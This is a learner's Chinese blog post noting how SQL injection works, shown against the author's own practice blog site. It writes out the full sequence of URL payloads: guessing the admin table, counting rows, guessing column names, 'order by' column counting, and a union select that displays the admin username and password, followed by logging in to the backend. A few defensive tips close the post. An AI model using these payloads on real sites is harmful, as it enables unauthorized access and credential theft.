记一点点SQL注入

之前学jdbc的时候了解过一点点sql注入,这也是为什么要用PreparedStatement而不用Statement的原因之一吧。

今天特意了解了一下sql注入,这里记录一下免得忘了。

以我自己写的博客网站(自己练习写的个网站,域名随便起个http://www.8888.com)为例,点击某篇博客进入(http://www.8888.com/blogPage.jsp?id=2)。然后呢就要查管理员表名(这里悄悄说因为管理员账号密码就在管理员表单里面,反正我的是这样),直接在链接后面加上and exists(select * from 管理员表名),管理员表名这里靠猜,我的是admin。

也就是

http://www.8888.com/blogPage.jsp?id=2 and exists(select * from admin)

报错的话就说明这个表不存在,这就要重新猜了。存在的话返回正常,页面没什么变化,反正我的是这样。

开始猜账号数目(select count(*) from admin)>0

http://www.8888.com/blogPage.jsp?id=2 and (select count(*) from admin)>n

这里的n就是账号数,如果输入0正确,输入1错误那么就表示有一个账号。

现在开始猜字段名and (select count(*) from admin where length(username)>0)=1,这里等号后面的数字1就是之前查的账号数

http://www.8888.com/blogPage.jsp?id=2 and (select count(*) from admin where length(字段名)>0)=1
字段名那里填的就是我们要猜的字段名,如果字段名是对的返回正常。我的是username,还有个password。


然后呢查查当前这个表有多少个字段,这是为之后的联合查询做准备,注意这里的表不是指admin,是指id所在的这个表,也就是我存储博客的这个表。在后面加上order by n.    n为数字,表示有多少个字段名,这里也要猜,一个个试,如果8不正确,7正确,就说明有7个字段,我的就是7个。如下

http://www.8888.com/blogPage.jsp?id=2 order by 7

然后就要看看各个字段所处的位置(铺垫),加上union select 1,2,3,4,5,6,7  .有多少个字段就写多少个数字。

http://www.8888.com/blogPage.jsp?id=2 union select 1,2,3,4,5,6,7

效果如图

这里的2和3的位置是标题和正文,我们就让后台账号和密码显示在这两个位置,直接将数字2和3换成管理员账号字段和密码字段,这也需要靠猜,我的分别是username和password,就直接输

http://www.8888.com/blogPage.jsp?id=2 select 1,username,password,4,5,6,7

这里管理员账号和密码就直接显示出来了,然后就需要找网站后台,这也靠猜,也可以谷歌,我的是http://www.8888.com/admin/login.jsp 然后就可以进后台了,然后没有然后了,就了解了这么点。


这里总个结,这玩意靠猜的东西太多了(也可能是我知识储备还不够),都那么容易猜不如直接就去猜管理员账号密码(实在猜不出也还是要试试sql注入),然后呢又了解了sql语句还有这么流弊的用处,以前以为自己学了就记住了,但是呢,不会活用,看来还要多练。搭站方面还要注意过滤字符,数据库表单和字段名都起复杂一点嘛,哈哈哈多重保险。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值